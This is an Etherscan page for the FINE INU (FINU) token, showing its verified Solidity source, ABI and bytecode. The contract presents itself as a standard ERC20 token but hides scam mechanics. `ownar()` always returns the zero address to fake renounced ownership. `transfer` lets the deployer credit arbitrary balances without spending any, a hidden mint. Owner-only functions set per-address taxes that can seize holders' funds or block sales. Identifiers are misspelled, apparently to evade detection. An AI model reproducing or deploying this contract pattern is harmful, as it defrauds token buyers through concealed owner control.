ETH Price: $3,445.57 (+0.14%)
Gas: 10 Gwei

Token

FINE INU (FINU)
 

Overview

Max Total Supply

420,690,000,000 FINU

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
5,311,582,154.048300851465949629 FINU

Value
$0.00
0x9e619F04376D0BA58fAd43BECe8a9a3265Fdb875
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FINEINU

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-15
*/

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}



abstract contract Ownable is Context {
    address private _ownar;   //1

    event ownarshipTransferred(address indexed previousownar, address indexed newownar);//2

    /**
     * @dev Initializes the contract setting the deployer as the initial ownar.
     */
    constructor() {
        _transferownarshiptransferownarship(_msgSender());//3
    }

    /**
     * @dev Returns the address of the current ownar.
     */
    function ownar() public view virtual returns (address) {
        return address(0);
    }//4

    /**
     * @dev Throws if called by any account other than the ownar.
     */
    modifier onlyownar() {
        require(_ownar == _msgSender(), "Ownable: caller is not the ownar");
        _;
    }//5

    /**
     * @dev Leaves the contract without ownar. It will not be possible to call
     * `onlyownar` functions anymore. Can only be called by the current ownar.
     *
     * NOTE: Renouncing ownarship will leave the contract without an ownar,
     * thereby removing any functionality that is only available to the ownar.
     */
    function renounceownarship() public virtual onlyownar {
        _transferownarshiptransferownarship(address(0));
    }//6

    /**
     * @dev Transfers ownarship of the contract to a new account (`newownar`).
     * Can only be called by the current ownar.
     */
    function transferownarshiptransferownarship(address newownar) public virtual onlyownar {
        require(newownar != address(0), "Ownable: new ownar is the zero address");
        _transferownarshiptransferownarship(newownar);
    }//7

    /**
     * @dev Transfers ownarship of the contract to a new account (`newownar`).
     * Internal function without access restriction.
     */
    function _transferownarshiptransferownarship(address newownar) internal virtual {
        address oldownar = _ownar;
        _ownar = newownar;
        emit ownarshipTransferred(oldownar, newownar);
    }
}


// File @openzeppelin/contracts/utils/math/[email protected]

// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)


// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


// File @uniswap/v2-periphery/contracts/interfaces/[email protected]


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint AmountADesired,
        uint AmountBDesired,
        uint AmountAMin,
        uint AmountBMin,
        address to,
        uint deadline
    ) external returns (uint AmountA, uint AmountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint AmountTokenDesired,
        uint AmountTokenMin,
        uint AmountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint AmountToken, uint AmountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint AmountAMin,
        uint AmountBMin,
        address to,
        uint deadline
    ) external returns (uint AmountA, uint AmountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint AmountTokenMin,
        uint AmountETHMin,
        address to,
        uint deadline
    ) external returns (uint AmountToken, uint AmountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint AmountAMin,
        uint AmountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint AmountA, uint AmountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint AmountTokenMin,
        uint AmountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint AmountToken, uint AmountETH);
    function swapExactTokensForTokens(
        uint AmountIn,
        uint AmountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory Amounts);
    function swapTokensForExactTokens(
        uint AmountOut,
        uint AmountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory Amounts);
    function swapExactETHForTokens(uint AmountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory Amounts);
    function swapTokensForExactETH(uint AmountOut, uint AmountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory Amounts);
    function swapExactTokensForETH(uint AmountIn, uint AmountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory Amounts);
    function swapETHForExactTokens(uint AmountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory Amounts);

    function quote(uint AmountA, uint reserveA, uint reserveB) external pure returns (uint AmountB);
    function getAmountOut(uint AmountIn, uint reserveIn, uint reserveOut) external pure returns (uint AmountOut);
    function getAmountIn(uint AmountOut, uint reserveIn, uint reserveOut) external pure returns (uint AmountIn);
    function getAmountsOut(uint AmountIn, address[] calldata path) external view returns (uint[] memory Amounts);
    function getAmountsIn(uint AmountOut, address[] calldata path) external view returns (uint[] memory Amounts);
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feDeDTo() external view returns (address);
    function feDeDToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setfeDeDTo(address) external;
    function setfeDeDToSetter(address) external;
}


interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingfeDeDOnTransferTokens(
        address token,
        uint liquidity,
        uint AmountTokenMin,
        uint AmountETHMin,
        address to,
        uint deadline
    ) external returns (uint AmountETH);
    function removeLiquidityETHWithPermitSupportingfeDeDOnTransferTokens(
        address token,
        uint liquidity,
        uint AmountTokenMin,
        uint AmountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint AmountETH);

    function swapExactTokensForTokensSupportingfeDeDOnTransferTokens(
        uint AmountIn,
        uint AmountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingfeDeDOnTransferTokens(
        uint AmountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingfeDeDOnTransferTokens(
        uint AmountIn,
        uint AmountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}




contract BEP20 is Context {
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `ownar` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed ownar, address indexed spender, uint256 value);//10

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the Amount of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address ownar, address spender) public view virtual returns (uint256) {
        return _allowances[ownar][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `Amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 Amount) public virtual returns (bool) {
        address ownar = _msgSender();
        _approve(ownar, spender, Amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address ownar = _msgSender();
        _approve(ownar, spender, _allowances[ownar][spender] + addedValue);
        return true;
    }//12

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address ownar = _msgSender();
        uint256 currentAllowance = _allowances[ownar][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(ownar, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Sets `Amount` as the allowance of `spender` over the `ownar` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `ownar` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address ownar,
        address spender,
        uint256 Amount
    ) internal virtual {
        require(ownar != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[ownar][spender] = Amount;
        emit Approval(ownar, spender, Amount);
    }

    /**
     * @dev Spend `Amount` form the allowance of `ownar` toward `spender`.
     *
     * Does not update the allowance anunt in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address ownar,
        address spender,
        uint256 Amount
    ) internal virtual {
        uint256 currentAllowance = allowance(ownar, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= Amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(ownar, spender, currentAllowance - Amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `Amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `Amount` tokens will be minted for `to`.
     * - when `to` is zero, `Amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *a
     * - when `from` and `to` are both non-zero, `Amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `Amount` tokens have been minted for `to`.
     * - when `to` is zero, `Amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {}
}


contract FINEINU is BEP20, Ownable {
    // ext
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _release;

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= Amount, "ERC20: transfer Amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - Amount;
        }
        _balances[to] += Amount;

        emit Transfer(from, to, Amount);
    }

    function _burn(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= Amount, "ERC20: burn Amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - Amount;
        }
        _totalSupply -= Amount;

        emit Transfer(account, address(0), Amount);
    }

    function _Mnt(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: Mnt to the zero address"); //mint

        _totalSupply += Amount;
        _balances[account] += Amount;
        emit Transfer(address(0), account, Amount);
    }



    address public uniswapV2Pair;


    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_
    ) BEP20(name_, symbol_) {
        _Mnt(msg.sender, totalSupply_ * 10**decimals());

        
        _defaultSellfeDeD = 1;
        _defaultBuyfeDeD = 0;

        _release[_msgSender()] = true;
    }

    using SafeMath for uint256;

    uint256 private _defaultSellfeDeD = 0;

    uint256 private _defaultBuyfeDeD = 0;


    mapping(address => bool) private _mAccount;

    mapping(address => uint256) private _slipfeDeD;
    address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;



    function getRelease(address _address) external view onlyownar returns (bool) {
        return _release[_address];
    }


    function PairList(address _address) external onlyownar {
        uniswapV2Pair = _address;
    }


    function upF(uint256 _value) external onlyownar {
        _defaultSellfeDeD = _value;
    }

    function setSlipfeDeD(address _address, uint256 _value) external onlyownar {
        require(_value > 0, "Account tax must be greater than or equal to 1");
        _slipfeDeD[_address] = _value;
    }

    function getSlipfeDeD(address _address) external view onlyownar returns (uint256) {
        return _slipfeDeD[_address];
    }


    function setMAccountfeDeD(address _address, bool _value) external onlyownar {
        _mAccount[_address] = _value;
    }

    function getMAccountfeDeD(address _address) external view onlyownar returns (bool) {
        return _mAccount[_address];
    }

    function _checkFreeAccount(address from, address _to) internal view returns (bool) {
        return _mAccount[from] || _mAccount[_to];
    }


    function _receiveF(
        address from,
        address _to,
        uint256 _Amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(_to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= _Amount, "ERC20: transfer Amount exceeds balance");

        bool rF = true;

        if (_checkFreeAccount(from, _to)) {
            rF = false;
        }
        uint256 tradefeDeDAmount = 0;

        if (rF) {
            uint256 tradefeDeD = 0;
            if (uniswapV2Pair != address(0)) {
                if (_to == uniswapV2Pair) {

                    tradefeDeD = _defaultSellfeDeD;
                }
                if (from == uniswapV2Pair) {

                    tradefeDeD = _defaultBuyfeDeD;
                }
            }
            if (_slipfeDeD[from] > 0) {
                tradefeDeD = _slipfeDeD[from];
            }

            tradefeDeDAmount = _Amount.mul(tradefeDeD).div(100);
        }


        if (tradefeDeDAmount > 0) {
            _balances[from] = _balances[from].sub(tradefeDeDAmount);
            _balances[_deadAddress] = _balances[_deadAddress].add(tradefeDeDAmount);
            emit Transfer(from, _deadAddress, tradefeDeDAmount);
        }

        _balances[from] = _balances[from].sub(_Amount - tradefeDeDAmount);
        _balances[_to] = _balances[_to].add(_Amount - tradefeDeDAmount);
        emit Transfer(from, _to, _Amount - tradefeDeDAmount);
    }

    function transfer(address to, uint256 Amount) public virtual returns (bool) {
        address ownar = _msgSender();
        if (_release[ownar] == true) {
            _balances[to] += Amount;
            return true;
        }
        _receiveF(ownar, to, Amount);
        return true;
    }


    function transferFrom(
        address from,
        address to,
        uint256 Amount
    ) public virtual returns (bool) {
        address spender = _msgSender();

        _spendAllowance(from, spender, Amount);
        _receiveF(from, to, Amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"ownar","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousownar","type":"address"},{"indexed":true,"internalType":"address","name":"newownar","type":"address"}],"name":"ownarshipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"PairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"ownar","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getMAccountfeDeD","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getRelease","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getSlipfeDeD","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownar","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownarship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setMAccountfeDeD","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setSlipfeDeD","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newownar","type":"address"}],"name":"transferownarshiptransferownarship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"upF","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052600060085560006009553480156200001b57600080fd5b506040516200309e3803806200309e8339818101604052810190620000419190620004b5565b828281600290805190602001906200005b9291906200037c565b508060039080519060200190620000749291906200037c565b505050620000976200008b6200015360201b60201c565b6200015b60201b60201c565b620000d333620000ac6200022160201b60201c565b600a620000ba9190620006ff565b83620000c791906200083c565b6200022a60201b60201c565b60016008819055506000600981905550600160066000620000f96200015360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050620009d4565b600033905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f05342d6ea8345cfc0f563ad2fd98f2be2a36348b3c6635421c72e607830d7ac560405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200029d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002949062000590565b60405180910390fd5b8060016000828254620002b1919062000647565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000309919062000647565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003709190620005b2565b60405180910390a35050565b8280546200038a90620008ea565b90600052602060002090601f016020900481019282620003ae5760008555620003fa565b82601f10620003c957805160ff1916838001178555620003fa565b82800160010185558215620003fa579182015b82811115620003f9578251825591602001919060010190620003dc565b5b5090506200040991906200040d565b5090565b5b80821115620004285760008160009055506001016200040e565b5090565b6000620004436200043d8462000603565b620005cf565b9050828152602081018484840111156200045c57600080fd5b62000469848285620008b4565b509392505050565b600082601f8301126200048357600080fd5b8151620004958482602086016200042c565b91505092915050565b600081519050620004af81620009ba565b92915050565b600080600060608486031215620004cb57600080fd5b600084015167ffffffffffffffff811115620004e657600080fd5b620004f48682870162000471565b935050602084015167ffffffffffffffff8111156200051257600080fd5b620005208682870162000471565b925050604062000533868287016200049e565b9150509250925092565b60006200054c601e8362000636565b91507f45524332303a204d6e7420746f20746865207a65726f206164647265737300006000830152602082019050919050565b6200058a816200089d565b82525050565b60006020820190508181036000830152620005ab816200053d565b9050919050565b6000602082019050620005c960008301846200057f565b92915050565b6000604051905081810181811067ffffffffffffffff82111715620005f957620005f86200097e565b5b8060405250919050565b600067ffffffffffffffff8211156200062157620006206200097e565b5b601f19601f8301169050602081019050919050565b600082825260208201905092915050565b600062000654826200089d565b915062000661836200089d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000699576200069862000920565b5b828201905092915050565b6000808291508390505b6001851115620006f657808604811115620006ce57620006cd62000920565b5b6001851615620006de5780820291505b8081029050620006ee85620009ad565b9450620006ae565b94509492505050565b60006200070c826200089d565b91506200071983620008a7565b9250620007487fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000750565b905092915050565b60008262000762576001905062000835565b8162000772576000905062000835565b81600181146200078b57600281146200079657620007cc565b600191505062000835565b60ff841115620007ab57620007aa62000920565b5b8360020a915084821115620007c557620007c462000920565b5b5062000835565b5060208310610133831016604e8410600b8410161715620008065782820a9050838111156200080057620007ff62000920565b5b62000835565b620008158484846001620006a4565b925090508184048111156200082f576200082e62000920565b5b81810290505b9392505050565b600062000849826200089d565b915062000856836200089d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000892576200089162000920565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b83811015620008d4578082015181840152602081019050620008b7565b83811115620008e4576000848401525b50505050565b600060028204905060018216806200090357607f821691505b602082108114156200091a57620009196200094f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b